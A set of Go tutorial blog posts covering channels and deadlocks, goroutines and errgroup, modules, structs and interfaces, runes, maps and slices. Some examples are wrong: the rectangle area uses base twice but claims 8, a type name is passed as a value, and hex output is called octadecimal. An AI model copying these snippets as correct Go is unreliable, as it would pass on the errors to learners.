What if an operation sends information to a channel but there is no longer any other goroutine receiving information from that channel?

It happens when there is a channel that sends information, but not one that receives it.

In a deaclock due to lack of output channel there is no operation that receives text through a channel.

package main

func main() {

    c := make(chan string)
    c <- "text"
}
// fatal error: all goroutines are asleep - deadlock!

Blocking by absence of goroutine

There is a third case: if there is an operation that writes to and reads from a channel, as in the example below, but it is not inside another goroutine (different from the main goroutine) that reads the value, we will get a deadlock error.

package main

import "fmt"

func main() {
    var channel = make(chan string)
    channel <- "forty two"
    fmt.Println(<-channel) // This should be in other goroutine
    fmt.Println("Finished")
}
// fatal error: all goroutines are asleep - deadlock!

In the three previous cases the program would be waiting and, as you know, it makes no sense to keep the program waiting for something that will never happen, so the execution is aborted and the fatal error “fatal error: all goroutines are asleep - deadlock!” is generated.

The above situation is referred to as a deadlock.

Deadlocks or dead spots

In a deadlock there is a goroutine waiting to read or write to a channel, however there is no goroutine running because they are waiting for each other; they are in a deadlock from which no progress can be made.

Prevent deadlocks on go with goroutines

In the introduction to channels in go post , I told you that the default capacity of a channel is 0, this causes that we cannot store data in the channels by default. If we try to store a data in a channel, we will get an error from the compiler, because there is no other goroutine to receive the value immediately.

To prevent a deadlock, we can immediately use the channel data by creating a goroutine that uses the channel value.

package main

import "fmt"

func main() {
    var channel = make(chan int)
    go func(channel chan int) {
        channel <- 42
    }(channel)
    fmt.Println(<-channel)
    fmt.Println("Finished")
}
// No ocurre el error de deadlock

In this case I have created a goroutine with an anonymous function that reads from the channel.

How to prevent deadlocks and all goroutines are asleep error in go using buffered channels

If a channel does not have buffer, the value remains “retained” until it is received, blocking the execution while it happens, causing the deadlock or deadlock if no one receives it.

On the other hand, if the channel is buffered, then execution is blocked until the value has been copied to the buffer, so we will not get an error, even if no goroutine receives it.

In a buffered channel it does not matter if the value is not read because it has already been copied to the buffer.

package main

import "fmt"

func main() {
    var channel = make(chan int, 1)
    channel <- 42
    fmt.Println(<-channel)
    fmt.Println("Finished")
}
// No deadlock error

More resources on deadlocks in go

To conclude the article, I’ll share with you some interesting resources about deadlocks in Go that I consider worth mentioning.

Go: use of channels to communicate goroutines

Sat, 22 Jan 2022 00:00:00 +0000

So far I have explained how to run a goroutine, execute code concurrently with the goroutines and wait for them to finish executing but our goroutines can’t do anything else, they can’t cooperate with each other to speed up the processes.

Imagine you have a web scrapper that gets data from the internet concurrently; we get the data with goroutines and process it with goroutines. do we have to wait for all the goroutines to finish to use it? Ideally, the goroutines should communicate with each other the data and continue processing.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Communicating goroutines with channels

Channels are “conduits” that accept a single type of data. Through these channels we “introduce” information that we can later “take out”.

The goroutines can send data to the channels and also read data from them, thus communicating with each other.

Basic diagram of how channels work in Go

A channel in go is declared with make and the word chan, which refers to the word channel.

c := make(chan string)

Channels are used to communicate goroutines, as in the worker-pool design pattern

Channels or buffered channels

The make function allows you to pass as an extra argument the limit amount of simultaneous data to be handled by that channel. **This is known as a buffered channel.

c := make(chan string, 1)

Channels or unbuffered channels

If we do not specify a buffer size the channel:

It will block the sender until the recipient is ready to receive the information.
Block the recipient until the sender is ready to send the information

Or to put it another way, if you try to send data to an unbuffered channel, the operation will block until the data is received. If you try to receive data it will block until the data is sent.

These channels are useful when you want to ensure that the sender and recipient are in sync and that the information is transmitted immediately, but they can lead to deadlocks if the sender and recipient are not in sync.

Accessing a channel in a function

When we want to refer to the channel as an argument of a function, it is necessary to indicate the data type of the channel.

func say(text string, c chan string) {}

The data type of a channel can also be one defined using a struct.

func say(text string, c chan MyStruct) {}

Putting data into a channel

To indicate data input through the channel, we use the character pair <-

func say(text string, c chan string) {
    c <- text
}

Pulling data from a channel

To obtain the channel response we reverse the order between the channel and the <- symbol.

fmt.Println(<-c)

Entering and retrieving data from a channel in go

The complete process of entering and extracting data from a channel in go would look something like this:

Create a channel of a data type using make. 2. We introduce a data (in this case string) to the channel using a goroutine 3. Extract the text from the channel and use it (in this case just print it).

package main

import "fmt"

func writeInChannel(text string, c chan string) {
    c <- text
}

func main() {
    c := make(chan string)
    go writeInChannel("Channel Data", c)
    fmt.Println(<-c)
}

Input and output channels

There are channels that receive information and channels that output information, by default a channel is bidirectional, but we can declare input and output channels.

To identify them, observe the flow of the arrow around the word chan; one enters (or goes to) chan and the other leaves chan.

This is an input channel.

func say(text string, c chan<- string) {}

While this is an output channel.

func say(text string, c <-chan string) {}

It is important to define the type of channel because, with bidirectional channels, we run the risk of causing a deadlock in our go program .

Channel capacity

Remember I told you that the make function could set the maximum number of data a channel can work with? Well, it is possible to retrieve that information using the len function.

The len function tells us how much data there is in a channel, while cap returns the maximum capacity, respectively.

c := make(chan string, 3)
c <- "data1"
c <- "data2"
fmt.Println(len(c), cap(c))
// 2 3

In the above example, the channel has two slots occupied, but has a total capacity of 3, even though not all of its slots are occupied.

Close a channel in go

If we want to disable a channel, even if it has available capacity to store more data, the close function allows us to do so.

c :=make(chan string, 3) 
c <- "data1" 
c <- "data2" 
close(c)
c <- "data3"
//panic: send on closed channel

Iterate on a channel

Range is ideal for iterating over channel data. However, it is important to note that, there is no certainty about what data we will receive since the channel content can come from multiple goroutines.

c := make(chan string, 3)
c <- "data1"
c <- "data2"
close(c)
for message := range c {
    fmt.Println(message)
}

With that you know the basic information about the channels and how you can use them to communicate goroutines.

Go: introduction to goroutines and concurrency

Wed, 19 Jan 2022 00:00:00 +0000

As I mentioned in the introduction to the go programming language: go is a specialized concurrency language . It is a language that was designed to handle multiple tasks asynchronously. This entry is about go channels.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Concurrency is not parallelism

Before we begin, remember that parallelism and concurrency are different. This post is too small to deal with such a broad topic, however there are two resources I want to highlight:

I quote a sentence from the first resource that, IMHO, sums up the difference quite well:

A program is concurrent if it can support two or more actions **in progress.

A program is parallel if it can support two or more actions executing simultaneously.

Felipe Restrepo Calle

If they still seem confusing and you don’t understand the difference, give those posts a read and you should be ready to move on.

Coroutines in go

A coroutine , in go, is a function or method that runs concurrently with other functions or methods. In go, corroutines are referred to as goroutines or goroutines. Even the main function, main, is executed inside one.

Goroutines are used in design patterns, such as the worker-pool-design-pattern

To generate a goroutine we add the keyword go before a function. This will schedule the function for asynchronous execution.

func write(text string) {
fmt.Println(text)
}
fmt.Println("hey")
go write("hey again")
// hey

In the above case, due to its asynchronous nature, the goroutine does not stop code execution. This implies that the body of the main function continues its execution and **our goroutine never executes.

But then, how do we get our goroutine to run? The naive approach would be to use a sleep to pause the execution of the code. This, as you know, is nonsense, we can’t be putting sleeps everywhere, the flow of the program would be unnecessarily slowed down!

// Don't
time.Sleep(1 * time.Second)

A better approach would be to create a WaitGroup.

WaitGroups in go

A WaitGroup will stop the execution of the program and wait for the goroutines to be executed.

Internally, a WaitGroup works with a counter, when the counter is at zero the execution of the code will continue, while if the counter is greater than zero, it will wait for the other goroutines to finish executing.

var wg sync.WaitGroup

wg.Wait()
fmt.Println("If waitgroup counter is greater than 0 it will continue the execution.")

And how do we change the counter value?

To increment and decrement the counter of the WaitGroup we will use the Add and Done methods, respectively.

The Add method

The Add method increments the WaitGroup counter by n units, where n is the argument we pass to it.

The trick is to call it every time you run a goroutine.

wg.Add(1)
go write("Hey")

The Done Method

The Done method is responsible for decrementing one unit of the WaitGroup counter. We will call it to tell the WaitGroup that the goroutine has finished and decrement the counter by one.

func write(text string, wg *sync.WaitGroup) {
    fmt.Println(text)
    wg.Done()
}

Remember that the instance of the WaitGroup (wg *) needs to be passed by reference or else we will not access the original WaitGroup.

func write(text string, wg *sync.WaitGroup) {
    fmt.Println(text)
    defer wg.Done()
}

Tip: use defer over the Done method to ensure that it is the last thing to be executed.

Once the wg.wait counter becomes zero, program execution continues.

var wg sync.WaitGroup
wg.Add(1)
go writeInChannel("Hello", &wg)
wg.Wait()

Anonymous functions in goroutines

When using goroutines, it is quite common to use anonymous functions to avoid declaring a new function.

go func() {
}()

Remember that the parentheses that appear after the body of the function execute the anonymous function that we declare and also receive its arguments.

go func(text string) {
}("Text")

How to handle errors in goroutines with errgroup

Inside of goroutines things can go wrong, how can we handle those scenarios. Instead of calling our goroutine with go we’re going to create a errgroup, this errgroup will have a function called go and its purpose is to call whatever function we pass as a goroutine, the function must return an error.

And it works exactly in the same way as a sync group in Go, it’s going to wait for all the goroutines and if it finds and error we can handle it.

package main

import (
	"context"
	"errors"
	"fmt"

	"golang.org/x/sync/errgroup"
)

func main() {
	group, _ := errgroup.WithContext(context.Background())
	group.Go(func() error {
		return errors.New("new error inside goroutine")
	})
	if err := group.Wait(); err != nil {
		fmt.Printf("Group finished but with error: %v\n", err)
	} else {
		fmt.Println("All tasks completed successfully with no errors")
	}
}

Using context in conjuction with errgroup

We can also use context as its second parameter to return the context cancellation error.

  group, ctx := errgroup.WithContext(context.Background())
	group.Go(func() error {
		return fmt.Errorf("an error occurred")
	})
	group.Go(func() error {
		select {
		case <-time.After(200 * time.Millisecond):
			fmt.Println("If there is an error this won't be executed. If there is no error expect this message to be on the screen")
			return nil
		case <-ctx.Done():
			fmt.Println("Context cancelled because errgroup found and error. We couldn't wait 200 ms")
			return ctx.Err() 
		}
	})

If you change the first error to nil, you will see that the delayed goroutine will execute normally and the context message won’t be shown.

More resources about goroutines

Finally, here are some other resources on goroutines that you can consult.

Go: package import and module management

Wed, 12 Jan 2022 00:00:00 +0000

In go you can consider a package as all the files contained in a directory and a module as a collection of packages. To use the code of a package we need to import it, however, in Go there are no relative module imports. Before Go 1.8, to import packages (there were no modules) it was necessary to use the absolute path, considering as base the path pointed to by the environment variable $GOPATH or. Since Go 1.11, the easiest way to work with packages is to use go mod. I will explain the latter.

In Go, a module is a collection of packages

Difference between modules and packages in go, in Go a module is just a collection of packages.

Defining the name of a package in Go

Before we start, do you remember that I told you in the introduction to the Go programming language , that the name of each package is set at the beginning of each file, placing it after the reserved word package?

For this example the package name will be videogame.

Once defined, I will create a model or struct in videogame.go.

//videogame/videogame.go
package videogame

type Videogame struct {
    Id int32
    Title string
}

Remember that the Go struct privacy rules say that in order for us to access a struct or its properties, from another package to where it was declared, we must use uppercase.

I know, it is one of the things that I abhor about Go’s language, not enough for me to abandon it, but pretty cumbersone IMO, what if you need to debug one? welcome to regexland.

Once created, we will end up with a structure similar to this one

Project file structure, a folder called videogame, with a file of the same name inside

Localization of the main file and our module in go

Import packages with go.mod

What is a go.mod file for?

A go.mod file defines a module and allows us to set the directory that we will use as a base to import the packages.

go.mod file at the root of the project

In the above example the go.mod file will allow us to treat the videogame path as a package and import code from the mymodule/videogame path.

What does a go.mod file contain?

The basic go.mod file is very short, it only specifies the name of the module, which we will use to perform the imports, and the version of go. That’s all.

module mymodule

go 1.15

How to create a go.mod file?

The go mod init command, followed by the name it will take as the base path for our package, will create a file named go.mod in the directory where we run it.

go mod init mymodule

For example, if we name it mymodule, all the folders that are at the same level as the go.mod file and that declare a package at the beginning of their file, will be considered packages.

And we can import them directly from our main.go file.

import (
    "mymodule/foobar"
    "mymodule/videogame"
)

Remote modules in Go

The go module handler

Go has a module handler equivalent to pip and npm, python and javascript, respectively, called get.

go get

To get remote modules we run the go get command in console followed by the path to our package; it supports any repository, not just github. Since go version 1.18, go get does not compile the code it downloads, but just adds, updates or removes dependencies in the go.mod file.

go get github.com/labstack/echo

After executing the command, go will download the files to the path pointed to by the $GOPATH environment variable and perform the corresponding imports into your go.mod file.

module mypackage

go 1.15

require (
    github.com/labstack/echo v3.3.10+incompatible // indirect
    github.com/labstack/gommon v0.3.1 // indirect
)

You will notice that their packages will be available for us to import with their respective path.

import "github.com/labstack/echo"

In case we need a specific version we declare it after the route.

go get github.com/labstack/echo/v4

go install

On the other hand, go install does not download code, but compiles a module and installs the binary into $GOPATH/bin, ignoring the contents of the go.mod file when a version is specified to it via the command line.

go install sigs.k8s.io/kind@v0.9.0

Go install will generally be used to install commands which we’ll be available for us to use.

Import remote packages in go

Packages found in code repositories, such as GitHub, GitLab or BitBucket, require that we specify the full path to the repository as their import path.

go mod init github.com/user/package

Import packages without using them

There are times when we may want to import packages and not use them. For this, just add an underscore before the import.

import (
  _ "fmt"
)

Define an aliases when importing packages in Go

Go also allows us to declare an alias when importing a package by prefixing the alias to the import path.

import ourAlias "route/to/package"

That way we can treat our alias as if it were the name of the package we are importing.

import ourAlias "mypackage/videogame"
// ... our alias replaces videogame
var vd = ourAlias.Videogame{Id: 1, Title: "hello"}

Imports with dot in Go

Go allows direct access to the contents of the package if we import using a dot as alias. In this way we can ignore the package name and directly access the objects it contains.

import . "mypackage/videogame"
// ... we can replace videogame.Videogame by Videogame
var vd = Videogame{Id: 1, Title: "hello"}

Other resources

Go: Structs, inheritance, polymorphism and encapsulation

Tue, 04 Jan 2022 00:00:00 +0000

As I already mentioned to you in the introduction to Golang or Go programming language , this language does not have a reserved word for dealing with classes, it still mimicks some behavior, we’re going to see how to handle golang inheritance, golang polymorphism and of course encapsulation.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

What are Structs in Go?

A struct in go is a collection of fields. They are defined with the keyword type followed by the name to assign and the word struct.

type Videogame struct {
    Title string
    Year int
}

Creating instances of a struct in go

Once the structure of our struct is defined, we can create instances of it.

var myVideogame = Videogame{Title: "Nier", Year: 2017}
// The code below is valid only inside a function
myVideogame := Videogame{Title: "Nier", Year: 2017}

It is also possible to create an instance by declaring the data type and then assigning a value to the fields.

var myVideogame Videogame
myVideogame.Title = "Nier"

If we do not specify a value, the respective zero value will be assigned to the go variable type .

fmt.Println(myVideogame)
// {Nier 0}

Anonymous fields in Go structs

In go, it is possible not to declare the name of the field of our struct and to place only the data type. Done this way, the fields will adopt the name of the data type and we can access them using them.

type Videogame struct { 
    string 
    int 
}

myVideogame := Videogame{string: "Title", int: 2017}
fmt.Println(myVideogame)
// Print {Title 2017}

What if we want a struct with many fields of the same type? Well, obviously this feature will not work if we have multiple fields of the same type in our struct.

Privacy and encapsulation of structs

To mark a struct, function or variable as private or public, as well as their respective fields for the struct, it is sufficient to declare the first letter of the field with upper or lower case, for public and private, respectively.

Personally, I think this sucks, it is one of the most convuluted aspects of this language, why? because when you need to look for a private field, you would probably need to use regex, instead of just searching by the word private, yes, I know it sucks, but let’s bear with it for now.

type MyData struct {
    Name string // public
    account string // private
}

Having said that, accessing a private entity from another module, unrelated to where it is declared, will be impossible. Whereas public entities are accessible from any module, even if the struct is not declared there.

capitalized, public, accessible inside and outside the package where it is declared.
lowercase, private, only accessible inside the package where it is declared.

// Videogame struct representing a videogame entity
type Videogame struct {
    Title string
    Year int
}

Composition and structs in go

We can group functionalities that involve our structs by declaring functions that access them.

Feel free to think of them as methods in a class.

How to access a struct in a method function in Go?

To access struct instances in functions we need to place a pair of parenthesis between the keyword func and the function name. These parentheses contain the name we will use to access the struct instance, followed by the destructuring character and finally the struct name.

func (myStructVariable *Videogame) PrintYear(){
    fmt.Println(myStructVariable.Year)
}

Inside the function, the struct fields will be available using pointers, we pass it inside the parenthesis with the destructuring character.

func (myStructVariable *Videogame) IncreaseYear(){
    myStructVariable.Year = myStructVariable.Year + 1
}

And once this “method” is declared, we can call the method we created through an instance of the struct. Notice how it does not receive any argument but behaves as a method.

videogame.IncreaseYear()

Customize the printout of a struct in go

If we declare a function to customize the console output called String, we will replace what the struct returns when we print it.

Think of it like overriding the str method if you come from Python.

Note the absence of the destructuring operator in the parenthesis in the first set of parentheses and how I use the Sprintf method of the go fmt-package to return a string.

func (myStructVariable Videogame) String() string { 
    return fmt.Sprintf("Title: %s, Year: %d", myStructVariable.Title, myStructVariable.Year) 
}

Now every time we print a struct we will get a text string with the syntax we declared.

fmt.Println(myVideogame)
// Title: Nier, Year: 2017

Constructors in go

Go does not have a mechanism similar to the constructors of other object-oriented languages. However, it is quite common to create a function that emulates them, returning an object already initialized with the parameters we want to apply.

func NewVideogame(year int, title string) *Videogame {
    return &Videogame{
        Title: title,
        Year: year,     
    }
}

This copy of a constructor is able to create instances of our struct Videogame.

nier := NewVideogame(2017, "Nier")
fmt.Println(*nier)
// {Nier 2017}

Golang inheritance using structs

Go does not have a word for declaring inheritance in structs, however it does have something similar that can function as a golang inheritance version of other languages like C++, Java or Python, but not exactly as you would like. It is composition.

Extend a struct in Golang

If you want to extend a struct, you can add the structs you want as part of the struct. However, consider that Go does not have inheritance, but composition.

type Person struct {
    Name string
    Lastname string
}

type Professor struct {
    Person
}

The code above will pass all the fields present in the first struct to the second struct, without having to explicitly declare them.

Go doesn’t have inheritance but composition

Go follows the composition over inheritance motto.

So when you add the new struct, you are not doing inheritance, you are adding a new struct to the original struct. So to access the fields of this one, first you need to access the struct you added.

Professor.Person.Name

Polymorphism using interfaces in go

Before dwelling with polymorphism itself, we must explain what an interface is, if you already mastered those concepts, go to the next section.

What’s an interface in simple words?

You can think of an interface as a kind of “blueprint” that tells an object what functions it must implement to work, each object can implement those functions as it wants, but it MUST implement them, in other words: “it must satisfy the interface”.

For example: Think of an abstraction that represents puzzle pieces. We need a puzzle piece that has two appendages, which maintain a 45° angle between them. We are not interested in the rest of the sides of the puzzle piece, only that it contains these two characteristics. As long as it has these two characteristics, it will fulfill the interface. The shape of the rest of the piece is irrelevant to us.

As long as the animal can breath it satisfy the interface

Based on the above, in Go interfaces are a method to differentiate the behavior of different objects. An interface will be in charge of calling the method that we specify corresponding to its struct type.

See how the interface declares that the type fourSidesFigure has a method called area that returns a result of type float64.

type fourSidesFigure interface{
    area() float64
}

Next we declare a different method called area for both struct square and struct rectangle, just as we did in the “Composition and structs” section of this entry.

type rectangle struct {
    base float64
    height float64
}

type square struct {
    base float64
    height float64
}

func (c square) area() float64 {
    return c.base * c.base 
}

func (r rectangle) area() float64 {
    return r.base * r.base 
}

Now we will create a function that will receive as argument any type fourSidesFigure, and will execute its respective area. method.

What’s an interface for in Go?

Here it is necessary to put special emphasis, observe how the argument that we pass to the function is the interface that we created, we are not interested in what type of struct we are passing as argument, the only thing that we care about is that this argument satisfies the interface.

Again in case you miss it. We don’t care how the struct is built, the only requisite for it to work in our function is that it MUST satify the interface.

In this case the interface is fourSidesFigure, hence, whatever we pass it as an argument must have a method called area that returns a float64.

When we use interfaces we can guarantee that the code works at a higher level, and we can leave the details of the low level functioning to its respective object, we can replace the implementation of the interface as long as it satisfies the interface’s signature.

type fourSidesFigure interface{
    area() float64
}

func calculate (f fourSidesFigure) {
    fmt.Println("Area", f.area())
}

To call the respective method we just call the function by passing it an instance of the struct as an argument.

mySquare := square{base: 2}
calculate(square)
mirectangle := rectangle{base:2, height: 4}
calculate(mirectangle)
// Area 4
// Area 8

Surely if you come from other languages you will find Go syntax quite capricious, but I am sure you will be mastering it in a very short time, besides it’s a low cost to pay for such simple and predictable code, any average Joe with the aid of AI can create Go code, I mean even I can.

Golang runes strings and bytes explained

Tue, 28 Dec 2021 00:00:00 +0000

In this entry I will briefly explain the basics of how golang runes, strings and bytes work in go, and even a little bit of utf-8 just to spice things up.

To explain the topic I will assume you know the basics of slices and data types in go, if you don’t know about these topics visit my array, slices in golang entry.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

A little bit about conventions

As you probably already know, computers only store numbers. The letters you see on the screen are a representation of those numbers.

So how does the computer know which number corresponds to which letter? Well, a bunch of people got together and agreed to assign a number to each character. Of course these agreements are not universal and there are multiple variants on what numbers correspond to each letter, including ASCII, UTF-8, UTF-16, UTF-32 and other less common ones. That is, a number may represent the character “人” in one convention, but it may represent another letter in another convention, but they are just numbers.

This topic is quite extensive and there is already enough information on the internet, so just keep in mind that behind each character there is a number that represents it and that this character depends on the table we use to represent it.

ASCII table with modified colors taken from wikimedia .

Knowing the above, let’s go to the byte data type.

Bytes in go

A byte in go is synonymous with an uint8, an unsigned int8. In other words, 8 bits that we can assign directly to different notations. The fact that it is a uint8 data type allows us to use any number between 0 and 255.

var ch byte = 65 // decimal
var ch1 byte = 0b1000001 // Binary
var ch2 byte = 0o101      // Octadecimal
var ch3 byte = 0X41       // hexadecimal

Just as we can store a number, we can also store the numeric representation of a character by wrapping it in single quotes.

It is like saying to go: “Save the number value to which this character corresponds”. When printed, it will return the number, in decimal notation.

var ch byte = 'A'
fmt.Println(ch)
// 65

If we perform a type conversion to string, using the string converter, we will obtain the letter “A”.

fmt.Println(string(ch))
// 'A'

Representation of the letter ‘A’ in decimal notation. The square represents a byte or 8 bits.

Array of bytes

Just as we have the byte data type, we can also create an array of bytes and in multiple ways. Notice how the array is stored with the number that corresponds to each character.

// Created directly from a string 
t1 := []byte("ABCDE")

// As a char array
t2 := []byte{'A', 'B', 'C', 'D', 'E'}

// As a number array ord()
t3 := []byte{65, 66, 67, 68, 69}

// With copy 
var t4 = make([]byte, 5)
copy(t4, "ABCDE")

// In every case we obtain the same
//[65 66 67 68 69]

Converting an array of bytes to a string

Remember I told you that each number represents a character? Well, we can transform a sequence of bytes into a string. For that we use the function string, and we pass it our array of bytes.

t3 := []byte{65, 66, 67, 68, 69}
fmt.Println(string(t1))
// ABCDE

Runes in go

Runes or runes is an alias for int32 type. It is the default variable type when you define a character, we use single quotes to declare it. If you do not specify a byte or other data type, go will assume it is a rune.

var runa rune = 65
fmt.Printf("type:%T, value:%v\n", runa, runa)
// type:int32, value:65

However, you will probably use runes most of the time to store characters, not numbers.

var runa rune = '人'
fmt.Printf("type:%T, value:%v\n", runa, runa)
// type:int32, value:20154

Notice how the type remains the same, but its value is now 20154, because being an int32 we have access to 2³¹-1 (remember that a bit is used for the positive or negative sign).

Representation of the character ‘人’ in decimal notation. The square represents a 32 bits.

Array of runes

In the same way that we create a modifiable byte array, we can create an array of runes, which is, for practical purposes, an array of int32, which we can represent by characters.

rune, with parentheses, is a type conversion from string to rune. Observe how at the end we have an array of int32

arrayRunes := []rune("Jello, ")
arrayRunes[0] = 'H'
arrayRunes = append(arrayRunes, '世', '!')
fmt.Println(arrayRunes)
// [72 101 108 108 111 44 32 19990 33]

As we did before, we can transform those numbers into a string using the string function.

fmt.Println(string(arrayRunes))
// Hello, 世!

Strings in go

A string is a slice of read-only, non-modifiable bytes, declared using double quotes. **Each index of the slice of an array refers to one byte. Pointing this out is important, because if we iterate over a string, we are going to get a different number of bytes than the characters that make up our string.

At first glance we might think that our string has a length of 9 (and therefore will have 9 bytes), which is the number of runes or characters it has. However, if we measure the length of our string with the len function, we will get the number 23, which refers to the number of bytes it occupies.

s := "ID彼氏彼女の事情"
fmt.Println(len(s))
// 23

Difference in size of characters in a string in go

When iterating over our string, we will be iterating byte by byte, so we will print 23 bytes, each byte expressed in octadecimal notation.

s := "ID彼氏彼女の事情"
for i := 0; i < len(s); i++ {
    fmt.Printf("%x ", s[i])   
}
// 49 44 e5 bd bc e6 b0 8f e5 bd bc e5 a5 b3 e3 81 ae e4 ba 8b e6 83 85

But what if we want to get each rune or character instead of the bytes? range allows us to do that, it iterates rune by rune, decoding the corresponding character.

for index, runeValue := range s {
    fmt.Printf("%#U empieza en el byte de posición %d\n", runeValue, index)
}
//U+0049 'I' starts at byte position 0
//U+0044 'D' starts at byte position 1
//U+5F7C '彼' starts at byte position 2
//U+6C0F '氏' starts at byte position 5
//U+5F7C '彼' starts at byte position 8
//U+5973 '女' starts at byte position 11
//U+306E 'の' starts at byte position 14
//U+4E8B '事' starts at byte position 17
//U+60C5 '情' starts at byte position 20

Package strings summary

Go has a package in its standard library to handle strings, with multiple methods. Here are some of the most important ones:

func Contains(s, substr string) bool Checks if a string is contained in another string.
func Count(s, substr string) int Counts the occurrences of one string in another.
func HasPrefix(s, prefix string) bool Checks if a string starts a string.
func HasSuffix(s, suffix string) bool Checks if a string ends with another string.
func Join(elems []string, sep string) string Joins all elements of a list into a string, using a separator between each pair of elements
func Split(s, sep string) []string Splits a string in a list by a separator we specify
func Index(s, substr string) int Returns the index of a string in another string
func Replace(s, old, new string, n int) string Replaces the first occurrence of a string by another string
func ReplaceAll(s, old, new string) string Replaces all occurrences of a string with another string
func ToLower(s string) string Convert to lower case
func ToUpper(s string) string Converts to upper case
func Trim(s, cutset string) string Removes leading and trailing spaces

Check out the complete functions in the strings documentation in go .

strconv package summary

There is also a package that allows us to convert strings into other data types:

func Atoi(s string) (int, error) converts a string into an integer
func Itoa(i int) string converts an integer to a string
func ParseInt(s string, base int, bitSize int) (i int64, err error) Converts a string representation of a number in some base to an integer.
func ParseBool(str string) (bool, error) Converts 1, t, T, TRUE, true, True to True or 0, f, F, FALSE, false, False to False.
func ParseFloat(s string, bitSize int) (float64, error) to convert in a string to a float

See the rest of the functions in the strconv documentation in go.

Golang maps or dictionaries

Tue, 21 Dec 2021 00:00:00 +0000

In the go programming language, a map or hash table is the equivalent of a dictionary; they have a key that is related to a value. The key and value can be of different data types, but all keys must be of a single type and all values must be of the same type.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Together with the array and the go slice , golang maps are structures that serve as a collection of values.

Inner workings of golang maps

Go’s current implementation: Swiss-tables

Go 1.24 replaced its map implementation, it now uses Swiss-tables , which are currently used in Rust. Swiss-tables provide a boost in speed compared to its former implementation, and it also improves:

Slow lookups due to overflown buckets when extra entries were added.
Larger Memory Usage due to overflown buckets that require extra space.
Overhead due to rehashing when resizing the maps.

If go’s maps don’t match your performance requirements maybe you can consider using a Bloom Filter

Go’s former implementation: Buckets

In Go a map works quite similar to any other language. In go there are buckets, a type of section consisting of 8 key-value pairs. The hash function receives the key and redirects us to the appropriate bucket, that is, the space of 9 key-value pairs where our key is located and, once there, it looks for the correct key.

Internal operation of golang maps. The information is taken from the official documentation of a map .

Create a map in go

To declare a map, we use the word map and enclose the data type of the key in square brackets, followed by the data type of the value.

var dictionary map[string]int
//A map with key of string type and values of int type 
dictionary["hello"] = 0
dictionary["panic"] = 1
fmt.Println(dictionary)

//❌❌❌ panic: assignment to entry in nil map

However, if we execute the previous thing it will give us an error. Why? It is important that you know that golang maps are references, they point to a memory location, as we create an empty map it points to nothing, to nil, so if we try to modify it, it will give us an error.

As with the slice, we have two ways to create a map or dictionary.

Passing values after the data type of the value
Using the make function.

Create a map in go with values

We can create a map or dictionary using map, the data type of the braces in square brackets, followed by the data type of the values and then the data key value in square brackets, separating each one with a colon.

The map keys can be modified and even new ones can be added.

var account = map[string]int{
        "Anna": 100,
        "Renee": 200,
        "Kakuro": 300,
        "Joy": 400,
}
account["Anna"] = 500
account["Colombe"] = 900

We can also let go infer that it is a map, but only within a function, using the walrus operator “:=”.

account := map[string]int{
        "Anna": 100,
        "Renee": 200,
        "Kakuro": 300,
        "Joy": 400,
}
account["Anna"] = 500
account["Colombe"] = 900

Create a map in go with make

To create a map by allocating memory we need to use the make function and specify the type of data that the keys and values will have after the word map.

In this case we do not have to pass the map length argument to make. If we omit the map size, internally, go will assign a small value to it.

var dictionary = make(map[string]int)
dictionary["hello"] = 2
dictionary["world"] = 1
fmt.Println(dictionary)
// map[hello:2 world:1]

Now watch this! We have a map or dictionary with only two keys, see what happens if we access a third one.

fmt.Println(balance["user"])
// 0
// How can we distinguish between a zero balance or a user that doesn't exist

If we try to access a key that does not exist, go will return its respective zero value, but this leads us to a problem: how do we distinguish whether we have a zero because the key does not exist or because the value of our key is zero?

Distinguish between non-existent and zero values

To distinguish between a zero value, go provides a second return value, which indicates whether a key exists. This second value is a boolean: true or false.

value, exist := dictionary["NonExistent"]

Optional capacity in golang maps

To set a maximum key capacity in a map, we pass the length of the map as the second argument.

m := make(map[string]int,99)

However, unlike slices, this length only tells the compiler to allocate a minimum amount of memory; if we add more keys than the maximum value, they will still be added, although not as efficiently.

Delete keys with delete

If we want to get rid of a key from our map, we use the delete, function, which deletes a key from a map or dictionary.

delete(dictionary, "hello")

Traverse golang maps with range

Just as with an array or a slice, we can tour a map using range. Each iteration will return the key and value.

Remember that, being a map, the elements will be returned in no particular order.

for key, value := range dictionary {
        fmt.Println(key,value)
    }

This is the minimum you should know about golang maps or dictionaries.

Go: slices and arrays, basic characteristics and most common uses

Tue, 14 Dec 2021 00:00:00 +0000

In go or golang slices, arrays and maps are structures for handling data collections. In this entry I am going to talk about the first two: slices and arrays.

In this entry I am going to use data types, zero values, and other very basic aspects of go. If you don’t know what I’m talking about, visit my entry Golang: introduction to the language, variables and data types .

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Arrays in go

Arrays are immutable data collections, to create an array we need to define its size and the type of data it will contain, once declared it cannot be modified.

var array [4]int

In the above example, we have an array with space for 4 integers. The values that we do not assign will be assigned as zero values.

Assign values to an array

To assign values to an array, previously declared, we use its index.

array[1] = 1
// [0, 1, 0, 0]

We can also create an array directly inside a function by placing each element of the array between braces, separated by commas.

array := [4]int{0, 0, 0, 0}

Slices in go

Slices are mutable collections of data types. Internally it is an abstraction of an array, with a difference, they can be modified.

However, when declaring a slice, and then trying to modify one of its indexes, just as we would do with an array, we will have an error. Why? Because a slice is a reference, and when it is created empty, we are pointing to nothing, to nil.

var slice []int
slice[0] = 1
// panic: runtime error: index out of range [0] with length 0

How does a slice in Go works?

Internally a slice is a struct with a pointer to the real array. In addition to the pointer, it has a property called cap and len, which refer to the capacity and length of the array, respectively.

A slice pointer points to the data it contains

To create a non-empty slice we have two ways to do it:

Allocate memory with the make function.
Declare it directly by passing the content after the slice data type.

Create a slice with make

The make function allocates memory and initializes an object of type slice, map or chan and returns it. If we use make, it is necessary to pass the length of the slice as a second argument.

var slice = make([]int, 4)
slice[0] = 1
fmt.Println(slice)
// [1,0,0,0]

Consider that, if we try to add an element beyond the capacity we defined we will get an error.

slice[4] = 4
// panic: runtime error: index out of range [4] with length 4

For more details check the documentation of the make function .

Creating slices with values

Besides using make, we can create a slice in a single step, passing the content directly to it, placing the elements of the slice between braces, separated by commas.

Notice how we do not specify the size of the slice.

var slice = []int{0, 1, 2, 3, 4}

